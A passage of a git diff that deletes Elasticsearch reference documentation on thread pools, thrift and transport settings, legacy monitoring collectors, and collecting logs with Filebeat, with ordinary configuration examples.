-    keep-alive of `5m` and a max of `min(10, (`<<node.processors,
-    `# of allocated processors`>>`) / 2)`.
-
-`listener`::
-    Mainly for java client executing of action when listener threaded is set to
-    `true`. Thread pool type is `scaling` with a default max of
-    `min(10, (`<<node.processors, `# of allocated processors`>>`) / 2)`.
-
-`fetch_shard_started`::
-    For listing shard states.
-    Thread pool type is `scaling` with keep-alive of `5m` and a default maximum
-    size of `pass:[2 * ]`<<node.processors, `# of allocated processors`>>.
-
-`fetch_shard_store`::
-    For listing shard stores.
-    Thread pool type is `scaling` with keep-alive of `5m` and a default maximum
-    size of `pass:[2 * ]`<<node.processors, `# of allocated processors`>>.
-
-`flush`::
-    For <<indices-flush,flush>>, <<indices-synced-flush-api,synced flush>>, and
-    <<index-modules-translog, translog>> `fsync` operations. Thread pool type is
-    `scaling` with a keep-alive of `5m` and a default maximum size of `min(5, (`
-    <<node.processors, `# of allocated processors`>>`) / 2)`.
-
-`force_merge`::
-    For <<indices-forcemerge,force merge>> operations.
-    Thread pool type is `fixed` with a size of 1 and an unbounded queue size.
-
-`management`::
-    For cluster management.
-    Thread pool type is `scaling` with a keep-alive of `5m` and a default
-    maximum size of `5`.
-
-`system_read`::
-    For read operations on system indices.
-    Thread pool type is `fixed` and a default maximum size of
-    `min(5, (`<<node.processors, `# of allocated processors`>>`) / 2)`.
-
-`system_write`::
-    For write operations on system indices.
-    Thread pool type is `fixed` and a default maximum size of
-    `min(5, (`<<node.processors, `# of allocated processors`>>`) / 2)`.
-
-Changing a specific thread pool can be done by setting its type-specific
-parameters; for example, changing the number of threads in the `write` thread
-pool:
-
-[source,yaml]
---------------------------------------------------
-thread_pool:
-    write:
-        size: 30
---------------------------------------------------
-
-[[thread-pool-types]]
-==== Thread pool types
-
-The following are the types of thread pools and their respective parameters:
-
-[[fixed-thread-pool]]
-===== `fixed`
-
-The `fixed` thread pool holds a fixed size of threads to handle the
-requests with a queue (optionally bounded) for pending requests that
-have no threads to service them.
-
-The `size` parameter controls the number of threads.
-
-The `queue_size` allows to control the size of the queue of pending
-requests that have no threads to execute them. By default, it is set to
-`-1` which means its unbounded. When a request comes in and the queue is
-full, it will abort the request.
-
-[source,yaml]
---------------------------------------------------
-thread_pool:
-    write:
-        size: 30
-        queue_size: 1000
---------------------------------------------------
-
-[[fixed-auto-queue-size]]
-===== `fixed_auto_queue_size`
-
-experimental[]
-
-deprecated[7.7.0,The experimental `fixed_auto_queue_size` thread pool type is
-deprecated and will be removed in 8.0.]
-
-The `fixed_auto_queue_size` thread pool holds a fixed size of threads to handle
-the requests with a bounded queue for pending requests that have no threads to
-service them. It's similar to the `fixed` threadpool, however, the `queue_size`
-automatically adjusts according to calculations based on
-https://en.wikipedia.org/wiki/Little%27s_law[Little's Law]. These calculations
-will potentially adjust the `queue_size` up or down by 50 every time
-`auto_queue_frame_size` operations have been completed.
-
-The `size` parameter controls the number of threads.
-
-The `queue_size` allows to control the initial size of the queue of pending
-requests that have no threads to execute them.
-
-The `min_queue_size` setting controls the minimum amount the `queue_size` can be
-adjusted to.
-
-The `max_queue_size` setting controls the maximum amount the `queue_size` can be
-adjusted to.
-
-The `auto_queue_frame_size` setting controls the number of operations during
-which measurement is taken before the queue is adjusted. It should be large
-enough that a single operation cannot unduly bias the calculation.
-
-The `target_response_time` is a time value setting that indicates the targeted
-average response time for tasks in the thread pool queue. If tasks are routinely
-above this time, the thread pool queue will be adjusted down so that tasks are
-rejected.
-
-[source,yaml]
---------------------------------------------------
-thread_pool:
-    search:
-        size: 30
-        queue_size: 500
-        min_queue_size: 10
-        max_queue_size: 1000
-        auto_queue_frame_size: 2000
-        target_response_time: 1s
---------------------------------------------------
-
-[[scaling-thread-pool]]
-===== `scaling`
-
-The `scaling` thread pool holds a dynamic number of threads. This
-number is proportional to the workload and varies between the value of
-the `core` and `max` parameters.
-
-The `keep_alive` parameter determines how long a thread should be kept
-around in the thread pool without it doing any work.
-
-[source,yaml]
---------------------------------------------------
-thread_pool:
-    warmer:
-        core: 1
-        max: 8
-        keep_alive: 2m
---------------------------------------------------
-
-[[node.processors]]
-==== Allocated processors setting
-
-The number of processors is automatically detected, and the thread pool settings
-are automatically set based on it. In some cases it can be useful to override
-the number of detected processors. This can be done by explicitly setting the
-`node.processors` setting.
-
-[source,yaml]
---------------------------------------------------
-node.processors: 2
---------------------------------------------------
-
-There are a few use-cases for explicitly overriding the `node.processors`
-setting:
-
-. If you are running multiple instances of {es} on the same host but want want
-{es} to size its thread pools as if it only has a fraction of the CPU, you
-should override the `node.processors` setting to the desired fraction, for
-example, if you're running two instances of {es} on a 16-core machine, set
-`node.processors` to 8.  Note that this is an expert-level use case and there's
-a lot more involved than just setting the `node.processors` setting as there are
-other considerations like changing the number of garbage collector threads,
-pinning processes to cores, and so on.
-. Sometimes the number of processors is wrongly detected and in such cases
-explicitly setting the `node.processors` setting will workaround such issues.
-
-In order to check the number of processors detected, use the nodes info
-API with the `os` flag.
diff --git a/docs/reference/modules/thrift.asciidoc b/docs/reference/modules/thrift.asciidoc
deleted file mode 100644
index 1ea3f818126..00000000000
--- a/docs/reference/modules/thrift.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-[[modules-thrift]]
-== Thrift
-
-The https://thrift.apache.org/[thrift] transport module allows to expose the REST interface of
-Elasticsearch using thrift. Thrift should provide better performance
-over http. Since thrift provides both the wire protocol and the
-transport, it should make using Elasticsearch more efficient (though it has limited
-documentation).
-
-Using thrift requires installing the `transport-thrift` plugin, located
-https://github.com/elastic/elasticsearch-transport-thrift[here].
-
-The thrift
-https://github.com/elastic/elasticsearch-transport-thrift/blob/master/elasticsearch.thrift[schema]
-can be used to generate thrift clients.
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Setting |Description
-|`thrift.port` |The port to bind to. Defaults to 9500-9600
-
-|`thrift.frame` |Defaults to `-1`, which means no framing. Set to a
-higher value to specify the frame size (like `15mb`).
-|=======================================================================
-
diff --git a/docs/reference/modules/transport.asciidoc b/docs/reference/modules/transport.asciidoc
deleted file mode 100644
index c40ae9c34b5..00000000000
--- a/docs/reference/modules/transport.asciidoc
+++ /dev/null
@@ -1,217 +0,0 @@
-[[modules-transport]]
-=== Transport
-
-REST clients send requests to your {es} cluster over <<modules-http,HTTP>>, but
-the node that receives a client request cannot always handle it alone and must
-normally pass it on to other nodes for further processing. It does this using
-the transport networking layer. The transport layer is used for all internal
-communication between nodes within a cluster, all communication with the nodes
-of a <<modules-remote-clusters,remote cluster>>, and also by the
-`TransportClient` in the {es} Java API.
-
-[[transport-settings]]
-==== Transport settings
-
-The following settings can be configured for the internal transport that
-communicates over TCP. These settings also use the common
-<<modules-network,network settings>>.
-
-`transport.port`::
-(<<static-cluster-setting,Static>>)
-A bind port range. Defaults to `9300-9400`.
-
-`transport.publish_port`::
-(<<static-cluster-setting,Static>>)
-The port that other nodes in the cluster
-should use when communicating with this node. Useful when a cluster node
-is behind a proxy or firewall and the `transport.port` is not directly
-addressable from the outside. Defaults to the actual port assigned via
-`transport.port`.
-
-`transport.bind_host`::
-(<<static-cluster-setting,Static>>)
-The host address to bind the transport service to. Defaults to
-`transport.host` (if set) or `network.bind_host`.
-
-`transport.publish_host`::
-(<<static-cluster-setting,Static>>)
-The host address to publish for nodes in the cluster to connect to.
-Defaults to `transport.host` (if set) or `network.publish_host`.
-
-`transport.host`::
-(<<static-cluster-setting,Static>>)
-Used to set the `transport.bind_host` and the `transport.publish_host`.
-
-`transport.connect_timeout`::
-(<<static-cluster-setting,Static>>)
-The connect timeout for initiating a new connection (in
-time setting format). Defaults to `30s`.
-
-`transport.compress`::
-(<<static-cluster-setting,Static>>)
-Set to `true` to enable compression (`DEFLATE`) between
-all nodes. Defaults to `false`.
-
-`transport.ping_schedule`::
-(<<static-cluster-setting,Static>>)
-Schedule a regular application-level ping message
-to ensure that transport connections between nodes are kept alive. Defaults to
-`5s` in the transport client and `-1` (disabled) elsewhere. It is preferable
-to correctly configure TCP keep-alives instead of using this feature, because
-TCP keep-alives apply to all kinds of long-lived connections and not just to
-transport connections.
-
-`transport.tcp.no_delay`::
-(<<static-cluster-setting,Static>>)
-Enable or disable the {wikipedia}/Nagle%27s_algorithm[TCP no delay]
-setting. Defaults to `network.tcp.no_delay`.
-
-`transport.tcp.keep_alive`::
-(<<static-cluster-setting,Static>>)
-Configures the `SO_KEEPALIVE` option for this socket, which
-determines whether it sends TCP keepalive probes.
-Defaults to `network.tcp.keep_alive`.
-
-`transport.tcp.keep_idle`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPIDLE` option for this socket, which
-determines the time in seconds that a connection must be idle before
-starting to send TCP keepalive probes. Defaults to `network.tcp.keep_idle` if set,
-or the system default otherwise.
-This value cannot exceed `300` seconds. In cases where the system default
-is higher than `300`, the value is automatically lowered to `300`. Only applicable on
-Linux and macOS, and requires Java 11 or newer.
-
-`transport.tcp.keep_interval`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPINTVL` option for this socket,
-which determines the time in seconds between sending TCP keepalive probes.
-Defaults to `network.tcp.keep_interval` if set, or the system default otherwise.
-This value cannot exceed `300` seconds. In cases where the system default is higher than `300`,
-the value is automatically lowered to `300`. Only applicable on Linux and macOS,
-and requires Java 11 or newer.
-
-`transport.tcp.keep_count`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPCNT` option for this socket, which
-determines the number of unacknowledged TCP keepalive probes that may be
-sent on a connection before it is dropped. Defaults to `network.tcp.keep_count`
-if set, or the system default otherwise. Only applicable on Linux and macOS, and
-requires Java 11 or newer.
-
-`transport.tcp.reuse_address`::
-(<<static-cluster-setting,Static>>)
-Should an address be reused or not. Defaults to `network.tcp.reuse_address`.
-
-`transport.tcp.send_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP send buffer (specified with <<size-units,size units>>).
-Defaults to `network.tcp.send_buffer_size`.
-
-`transport.tcp.receive_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP receive buffer (specified with <<size-units,size units>>).
-Defaults to `network.tcp.receive_buffer_size`.
-
-[[transport-profiles]]
-===== Transport profiles
-
-Elasticsearch allows you to bind to multiple ports on different interfaces by
-the use of transport profiles. See this example configuration
-
-[source,yaml]
---------------
-transport.profiles.default.port: 9300-9400
-transport.profiles.default.bind_host: 10.0.0.1
-transport.profiles.client.port: 9500-9600
-transport.profiles.client.bind_host: 192.168.0.1
-transport.profiles.dmz.port: 9700-9800
-transport.profiles.dmz.bind_host: 172.16.1.2
---------------
-
-The `default` profile is special. It is used as a fallback for any other
-profiles, if those do not have a specific configuration setting set, and is how
-this node connects to other nodes in the cluster.
-
-The following parameters can be configured on each transport profile, as in the
-example above:
-
-* `port`: The port to which to bind.
-* `bind_host`: The host to which to bind.
-* `publish_host`: The host which is published in informational APIs.
-
-Profiles also support all the other transport settings specified in the
-<<transport-settings,transport settings>> section, and use these as defaults.
-For example, `transport.profiles.client.tcp.reuse_address` can be explicitly
-configured, and defaults otherwise to `transport.tcp.reuse_address`.
-
-[[long-lived-connections]]
-===== Long-lived idle connections
-
-A transport connection between two nodes is made up of a number of long-lived
-TCP connections, some of which may be idle for an extended period of time.
-Nonetheless, Elasticsearch requires these connections to remain open, and it
-can disrupt the operation of your cluster if any inter-node connections are
-closed by an external influence such as a firewall. It is important to
-configure your network to preserve long-lived idle connections between
-Elasticsearch nodes, for instance by leaving `tcp.keep_alive` enabled and
-ensuring that the keepalive interval is shorter than any timeout that might
-cause idle connections to be closed, or by setting `transport.ping_schedule` if
-keepalives cannot be configured. Devices which drop connections when they reach
-a certain age are a common source of problems to Elasticsearch clusters, and
-must not be used.
-
-[[request-compression]]
-===== Request compression
-
-By default, the `transport.compress` setting is `false` and network-level
-request compression is disabled between nodes in the cluster. This default
-normally makes sense for local cluster communication as compression has a
-noticeable CPU cost and local clusters tend to be set up with fast network
-connections between nodes.
-
-The `transport.compress` setting always configures local cluster request
-compression and is the fallback setting for remote cluster request compression.
-If you want to configure remote request compression differently than local
-request compression, you can set it on a per-remote cluster basis using the
-<<remote-cluster-settings,`cluster.remote.${cluster_alias}.transport.compress` setting>>.
-
-
-[[response-compression]]
-===== Response compression
-
-The compression settings do not configure compression for responses. {es} will
-compress a response if the inbound request was compressed--even when compression
-is not enabled. Similarly, {es} will not compress a response if the inbound
-request was uncompressed--even when compression is enabled.
-
-
-[[transport-tracer]]
-==== Transport tracer
-
-The transport layer has a dedicated tracer logger which, when activated, logs incoming and out going requests. The log can be dynamically activated
-by setting the level of the `org.elasticsearch.transport.TransportService.tracer` logger to `TRACE`:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-   "transient" : {
-      "logger.org.elasticsearch.transport.TransportService.tracer" : "TRACE"
-   }
-}
---------------------------------------------------
-
-You can also control which actions will be traced, using a set of include and exclude wildcard patterns. By default every request will be traced
-except for fault detection pings:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-   "transient" : {
-      "transport.tracer.include" : "*",
-      "transport.tracer.exclude" : "internal:coordination/fault_detection/*"
-   }
-}
---------------------------------------------------
diff --git a/docs/reference/monitoring/collecting-monitoring-data.asciidoc b/docs/reference/monitoring/collecting-monitoring-data.asciidoc
deleted file mode 100644
index e7838480143..00000000000
--- a/docs/reference/monitoring/collecting-monitoring-data.asciidoc
+++ /dev/null
@@ -1,217 +0,0 @@
-[role="xpack"]
-[testenv="gold"]
-[[collecting-monitoring-data]]
-== Collecting monitoring data using legacy collectors
-++++
-<titleabbrev>Legacy collection methods</titleabbrev>
-++++
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection methods. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-This method for collecting metrics about {es} involves sending the metrics to
-the monitoring cluster by using exporters. For the recommended method, see <<configuring-metricbeat>>.
-
-Advanced monitoring settings enable you to control how frequently data is
-collected, configure timeouts, and set the retention period for locally-stored
-monitoring indices. You can also adjust how monitoring data is displayed.
-
-To learn about monitoring in general, see <<monitor-elasticsearch-cluster>>.
-
-. Configure your cluster to collect monitoring data:
-
-.. Verify that the `xpack.monitoring.elasticsearch.collection.enabled` setting
-is `true`, which is its default value, on each node in the cluster.
-+
---
-NOTE: You can specify this setting in either the `elasticsearch.yml` on each
-node or across the cluster as a dynamic cluster setting. If {es}
-{security-features} are enabled, you must have `monitor` cluster privileges to
-view the cluster settings and `manage` cluster privileges to change them.
-
-For more information, see <<monitoring-settings>> and <<cluster-update-settings>>.
---
-
-.. Set the `xpack.monitoring.collection.enabled` setting to `true` on each
-node in the cluster. By default, it is is disabled (`false`).
-+
---
-NOTE: You can specify this setting in either the `elasticsearch.yml` on each
-node or across the cluster as a dynamic cluster setting. If {es}
-{security-features} are enabled, you must have `monitor` cluster privileges to
-view the cluster settings and `manage` cluster privileges to change them.
-
-For example, use the following APIs to review and change this setting:
-
-[source,console]
-----------------------------------
-GET _cluster/settings
-
-PUT _cluster/settings
-{
-  "persistent": {
-    "xpack.monitoring.collection.enabled": true
-  }
-}
-----------------------------------
-
-Alternatively, you can enable this setting in {kib}. In the side navigation,
-click *Monitoring*. If data collection is disabled, you are prompted to turn it
-on.
-
-For more
-information, see <<monitoring-settings>> and <<cluster-update-settings>>.
---
-
-.. Optional: Specify which indices you want to monitor.
-+
---
-By default, the monitoring agent collects data from all {es} indices.
-To collect data from particular indices, configure the
-`xpack.monitoring.collection.indices` setting. You can specify multiple indices
-as a comma-separated list or use an index pattern to match multiple indices. For
-example:
-
-[source,yaml]
-----------------------------------
-xpack.monitoring.collection.indices: logstash-*, index1, test2
-----------------------------------
-
-You can prepend `-` to explicitly exclude index names or
-patterns. For example, to include all indices that start with `test` except
-`test3`, you could specify `test*,-test3`. To include system indices such as
-.security and .kibana, add `.*` to the list of included names.
-For example `.*,test*,-test3`
---
-
-.. Optional: Specify how often to collect monitoring data. The default value for
-the `xpack.monitoring.collection.interval` setting 10 seconds. See
-<<monitoring-settings>>.
-
-. Identify where to store monitoring data.
-+
---
-By default, the data is stored on the same cluster by using a
-<<local-exporter,`local` exporter>>. Alternatively, you can use an <<http-exporter,`http` exporter>> to send data to
-a separate _monitoring cluster_.
-
-IMPORTANT: The {es} {monitor-features} use ingest pipelines, therefore the
-cluster that stores the monitoring data must have at least one
-<<ingest,ingest node>>.
-
-For more information about typical monitoring architectures,
-see <<how-monitoring-works>>.
---
-
-. If you choose to use an `http` exporter:
-
-.. On the cluster that you want to monitor (often called the _production cluster_),
-configure each node to send metrics to your monitoring cluster. Configure an
-HTTP exporter in the `xpack.monitoring.exporters` settings in the
-`elasticsearch.yml` file. For example:
-+
---
-[source,yaml]
---------------------------------------------------
-xpack.monitoring.exporters:
-  id1:
-    type: http
-    host: ["http://es-mon-1:9200", "http://es-mon2:9200"]
---------------------------------------------------
---
-
-.. If the Elastic {security-features} are enabled on the monitoring cluster, you
-must provide appropriate credentials when data is shipped to the monitoring cluster:
-
-... Create a user on the monitoring cluster that has the
-<<built-in-roles,`remote_monitoring_agent` built-in role>>.
-Alternatively, use the
-<<built-in-users,`remote_monitoring_user` built-in user>>.
-
-... Add the user ID and password settings to the HTTP exporter settings in the
-`elasticsearch.yml` file on each node. +
-+
---
-For example:
-
-[source,yaml]
---------------------------------------------------
-xpack.monitoring.exporters:
-  id1:
-    type: http
-    host: ["http://es-mon-1:9200", "http://es-mon2:9200"]
-    auth.username: remote_monitoring_user
-    auth.password: YOUR_PASSWORD
---------------------------------------------------
---
-
-.. If you configured the monitoring cluster to use
-<<configuring-tls,encrypted communications>>, you must use the HTTPS protocol in
-the `host` setting. You must also specify the trusted CA certificates that will
-be used to verify the identity of the nodes in the monitoring cluster.
-
-*** To add a CA certificate to an {es} node's trusted certificates, you can
-specify the location of the PEM encoded certificate with the
-`certificate_authorities` setting. For example:
-+
---
-[source,yaml]
---------------------------------------------------
-xpack.monitoring.exporters:
-  id1:
-    type: http
-    host: ["https://es-mon1:9200", "https://es-mon2:9200"]
-    auth:
-      username: remote_monitoring_user
-      password: YOUR_PASSWORD
-    ssl:
-      certificate_authorities: [ "/path/to/ca.crt" ]
---------------------------------------------------
---
-
-*** Alternatively, you can configure trusted certificates using a truststore
-(a Java Keystore file that contains the certificates). For example:
-+
---
-[source,yaml]
---------------------------------------------------
-xpack.monitoring.exporters:
-  id1:
-    type: http
-    host: ["https://es-mon1:9200", "https://es-mon2:9200"]
-    auth:
-      username: remote_monitoring_user
-      password: YOUR_PASSWORD
-    ssl:
-      truststore.path: /path/to/file
-      truststore.password: password
---------------------------------------------------
---
-
-. Configure your cluster to route monitoring data from sources such as {kib},
-Beats, and {ls} to the monitoring cluster. For information about configuring
-each product to collect and send monitoring data, see <<monitor-elasticsearch-cluster>>.
-
-. If you updated settings in the `elasticsearch.yml` files on your production
-cluster, restart {es}. See <<stopping-elasticsearch>> and <<starting-elasticsearch>>.
-+
---
-TIP: You may want to temporarily {ref}/modules-cluster.html[disable shard
-allocation] before you restart your nodes to avoid unnecessary shard
-reallocation during the install process.
-
---
-
-. Optional:
-<<config-monitoring-indices,Configure the indices that store the monitoring data>>.
-
-. {kibana-ref}/monitoring-data.html[View the monitoring data in {kib}].
diff --git a/docs/reference/monitoring/collectors.asciidoc b/docs/reference/monitoring/collectors.asciidoc
deleted file mode 100644
index c64915ce94e..00000000000
--- a/docs/reference/monitoring/collectors.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[es-monitoring-collectors]]
-== Collectors
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection methods. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-Collectors, as their name implies, collect things. Each collector runs once for
-each collection interval to obtain data from the public APIs in {es} and {xpack}
-that it chooses to monitor. When the data collection is finished, the data is
-handed in bulk to the <<es-monitoring-exporters,exporters>> to be sent to the
-monitoring clusters. Regardless of the number of exporters, each collector only
-runs once per collection interval.
-
-There is only one collector per data type gathered. In other words, for any
-monitoring document that is created, it comes from a single collector rather
-than being merged from multiple collectors. The {es} {monitor-features}
-currently have a few collectors because the goal is to minimize overlap between
-them for optimal performance.
-
-Each collector can create zero or more monitoring documents. For example,
-the `index_stats` collector collects all index statistics at the same time to
-avoid many unnecessary calls.
-
-[options="header"]
-|=======================
-| Collector       | Data Types | Description
-| Cluster Stats   | `cluster_stats`
-| Gathers details about the cluster state, including parts of the actual cluster
-state (for example `GET /_cluster/state`) and statistics about it (for example,
-`GET /_cluster/stats`). This produces a single document type. In versions prior
-to X-Pack 5.5, this was actually three separate collectors that resulted in
-three separate types: `cluster_stats`, `cluster_state`, and `cluster_info`. In
-5.5 and later, all three are combined into `cluster_stats`. This only runs on
-the _elected_ master node and the data collected (`cluster_stats`) largely
-controls the UI. When this data is not present, it indicates either a
-misconfiguration on the elected master node, timeouts related to the collection
-of the data, or issues with storing the data. Only a single document is produced
-per collection.
-| Index Stats     | `indices_stats`, `index_stats`
-| Gathers details about the indices in the cluster, both in summary and
-individually. This creates many documents that represent parts of the index
-statistics output (for example, `GET /_stats`). This information only needs to
-be collected once, so it is collected on the _elected_ master node. The most
-common failure for this collector relates to an extreme number of indices -- and
-therefore time to gather them -- resulting in timeouts. One summary
-`indices_stats` document is produced per collection and one `index_stats`
-document is produced per index, per collection.
-| Index Recovery  | `index_recovery`
-| Gathers details about index recovery in the cluster. Index recovery represents
-the assignment of _shards_ at the cluster level. If an index is not recovered,
-it is not usable. This also corresponds to shard restoration via snapshots. This
-information only needs to be collected once, so it is collected on the _elected_
-master node. The most common failure for this collector relates to an extreme
-number of shards -- and therefore time to gather them -- resulting in timeouts.
-This creates a single document that contains all recoveries by default, which
-can be quite large, but it gives the most accurate picture of recovery in the
-production cluster.
-| Shards          | `shards`
-| Gathers details about all _allocated_ shards for all indices, particularly
-including what node the shard is allocated to. This information only needs to be
-collected once, so it is collected on the _elected_ master node. The collector
-uses the local cluster state to get the routing table without any network
-timeout issues unlike most other collectors. Each shard is represented by a
-separate monitoring document.
-| Jobs            | `job_stats`
-| Gathers details about all machine learning job statistics (for example, `GET
-/_ml/anomaly_detectors/_stats`). This information only needs to be collected
-once, so it is collected on the _elected_ master node. However, for the master
-node to be able to perform the collection, the master node must have
-`xpack.ml.enabled` set to true (default) and a license level that supports {ml}.
-| Node Stats      | `node_stats`
-| Gathers details about the running node, such as memory utilization and CPU
-usage (for example, `GET /_nodes/_local/stats`). This runs on _every_ node with
-{monitor-features} enabled. One common failure results in the timeout of the node
-stats request due to too many segment files. As a result, the collector spends
-too much time waiting for the file system stats to be calculated until it
-finally times out. A single `node_stats` document is created per collection.
-This is collected per node to help to discover issues with nodes communicating
-with each other, but not with the monitoring cluster (for example, intermittent
-network issues or memory pressure).
-|=======================
-
-The {es} {monitor-features} use a single threaded scheduler to run the
-collection of {es} monitoring data by all of the appropriate collectors on each
-node. This scheduler is managed locally by each node and its interval is
-controlled by specifying the `xpack.monitoring.collection.interval`, which
-defaults to 10 seconds (`10s`), at either the node or cluster level.
-
-Fundamentally, each collector works on the same principle. Per collection
-interval, each collector is checked to see whether it should run and then the
-appropriate collectors run. The failure of an individual collector does not
-impact any other collector.
-
-Once collection has completed, all of the monitoring data is passed to the
-exporters to route the monitoring data to the monitoring clusters.
-
-If gaps exist in the monitoring charts in {kib}, it is typically because either
-a collector failed or the monitoring cluster did not receive the data (for
-example, it was being restarted). In the event that a collector fails, a logged
-error should exist on the node that attempted to perform the collection.
-
-NOTE: Collection is currently done serially, rather than in parallel, to avoid
-      extra overhead on the elected master node. The downside to this approach
-      is that collectors might observe a different version of the cluster state
-      within the same collection period. In practice, this does not make a
-      significant difference and running the collectors in parallel would not
-      prevent such a possibility.
-
-For more information about the configuration options for the collectors, see
-<<monitoring-collection-settings>>.
-
-[discrete]
-[[es-monitoring-stack]]
-==== Collecting data from across the Elastic Stack
-
-{es} {monitor-features} also receive monitoring data from other parts of the
-Elastic Stack. In this way, it serves as an unscheduled monitoring data
-collector for the stack.
-
-By default, data collection is disabled. {es} monitoring data is not
-collected and all monitoring data from other sources such as {kib}, Beats, and
-Logstash is ignored. You must set `xpack.monitoring.collection.enabled` to `true`
-to enable the collection of monitoring data. See <<monitoring-settings>>.
-
-Once data is received, it is forwarded to the exporters
-to be routed to the monitoring cluster like all monitoring data.
-
-WARNING: Because this stack-level "collector" lives outside of the collection
-interval of {es} {monitor-features}, it is not impacted by the
-`xpack.monitoring.collection.interval` setting. Therefore, data is passed to the
-exporters whenever it is received. This behavior can result in indices for {kib},
-Logstash, or Beats being created somewhat unexpectedly.
-
-While the monitoring data is collected and processed, some production cluster
-metadata is added to incoming documents. This metadata enables {kib} to link the
-monitoring data to the appropriate cluster. If this linkage is unimportant to
-the infrastructure that you're monitoring, it might be simpler to configure
-Logstash and Beats to report monitoring data directly to the monitoring cluster.
-This scenario also prevents the production cluster from adding extra overhead
-related to monitoring data, which can be very useful when there are a large
-number of Logstash nodes or Beats.
-
-For more information about typical monitoring architectures, see
-<<how-monitoring-works>>.
diff --git a/docs/reference/monitoring/configuring-filebeat.asciidoc b/docs/reference/monitoring/configuring-filebeat.asciidoc
deleted file mode 100644
index 0331d4eab94..00000000000
--- a/docs/reference/monitoring/configuring-filebeat.asciidoc
+++ /dev/null
@@ -1,187 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[configuring-filebeat]]
-== Collecting {es} log data with {filebeat}
-
-[subs="attributes"]
-++++
-<titleabbrev>Collecting log data with {filebeat}</titleabbrev>
-++++
-
-You can use {filebeat} to monitor the {es} log files, collect log events, and
-ship them to the monitoring cluster. Your recent logs are visible on the
-*Monitoring* page in {kib}.
-
-//NOTE: The tagged regions are re-used in the Stack Overview.
-
-. Verify that {es} is running and that the monitoring cluster is ready to
-receive data from {filebeat}.
-+
---
-TIP: In production environments, we strongly recommend using a separate cluster 
-(referred to as the _monitoring cluster_) to store the data. Using a separate 
-monitoring cluster prevents production cluster outages from impacting your 
-ability to access your monitoring data. It also prevents monitoring activities 
-from impacting the performance of your production cluster. See
-<<monitoring-production>>.
-
---
-
-. Enable the collection of monitoring data on your cluster.
-+
---
-include::configuring-metricbeat.asciidoc[tag=enable-collection]
-
-For more information, see <<monitoring-settings>> and <<cluster-update-settings>>.
---
-
-. Identify which logs you want to monitor. 
-+
---
-The {filebeat} {es} module can handle
-<<audit-log-output,audit logs>>,
-<<deprecation-logging,deprecation logs>>,
-<<gc-logging,gc logs>>, <<logging,server logs>>, and 
-<<index-modules-slowlog,slow logs>>.
-For more information about the location of your {es} logs, see the
-<<path-settings,path.logs>> setting.
-
-IMPORTANT: If there are both structured (`*.json`) and unstructured (plain text)
-versions of the logs, you must use the structured logs. Otherwise, they might
-not appear in the appropriate context in {kib}.
-
---
-
-. {filebeat-ref}/filebeat-installation-configuration.html[Install {filebeat}] on the {es}
-nodes that contain logs that you want to monitor.
-
-. Identify where to send the log data.
-+
---
-// tag::output-elasticsearch[]
-For example, specify {es} output information for your monitoring cluster in
-the {filebeat} configuration file (`filebeat.yml`):
-
-[source,yaml]
-----------------------------------
-output.elasticsearch:
-  # Array of hosts to connect to.
-  hosts: ["http://es-mon-1:9200", "http://es-mon2:9200"] <1>
-
-  # Optional protocol and basic auth credentials.
-  #protocol: "https"
-  #username: "elastic"
-  #password: "changeme"
-----------------------------------
-<1> In this example, the data is stored on a monitoring cluster with nodes 
-`es-mon-1` and `es-mon-2`. 
-
-If you configured the monitoring cluster to use encrypted communications, you
-must access it via HTTPS. For example, use a `hosts` setting like
-`https://es-mon-1:9200`.
-
-IMPORTANT: The {es} {monitor-features} use ingest pipelines, therefore the
-cluster that stores the monitoring data must have at least one 
-<<ingest,ingest node>>.
- 
-If {es} {security-features} are enabled on the monitoring cluster, you must
-provide a valid user ID and password so that {filebeat} can send metrics 
-successfully. 
-
-For more information about these configuration options, see 
-{filebeat-ref}/elasticsearch-output.html[Configure the {es} output].
-// end::output-elasticsearch[]
---
-
-. Optional: Identify where to visualize the data.
-+
---
-// tag::setup-kibana[]
-{filebeat} provides example {kib} dashboards, visualizations and searches. To
-load the dashboards into the appropriate {kib} instance, specify the
-`setup.kibana` information in the {filebeat} configuration file
-(`filebeat.yml`) on each node:
-
-[source,yaml]
-----------------------------------
-setup.kibana:
-  host: "localhost:5601"
-  #username: "my_kibana_user"
-  #password: "YOUR_PASSWORD"
-----------------------------------
-
-TIP: In production environments, we strongly recommend using a dedicated {kib} 
-instance for your monitoring cluster.
-
-If {security-features} are enabled, you must provide a valid user ID and
-password so that {filebeat} can connect to {kib}: 
-
-.. Create a user on the monitoring cluster that has the 
-<<built-in-roles,`kibana_admin` built-in role>> or equivalent
-privileges.
-
-.. Add the `username` and `password` settings to the {es} output information in 
-the {filebeat} configuration file. The example shows a hard-coded password, but
-you should store sensitive values in the
-{filebeat-ref}/keystore.html[secrets keystore].
-
-See {filebeat-ref}/setup-kibana-endpoint.html[Configure the {kib} endpoint].
-
-// end::setup-kibana[]
---
-
-. Enable the {es} module and set up the initial {filebeat} environment on each
-node.
-+
---
-// tag::enable-es-module[]
-For example:
-
-["source","sh",subs="attributes,callouts"]
-----------------------------------------------------------------------
-filebeat modules enable elasticsearch
-filebeat setup -e
-----------------------------------------------------------------------
-
-For more information, see  
-{filebeat-ref}/filebeat-module-elasticsearch.html[{es} module]. 
-
-// end::enable-es-module[]
---
-
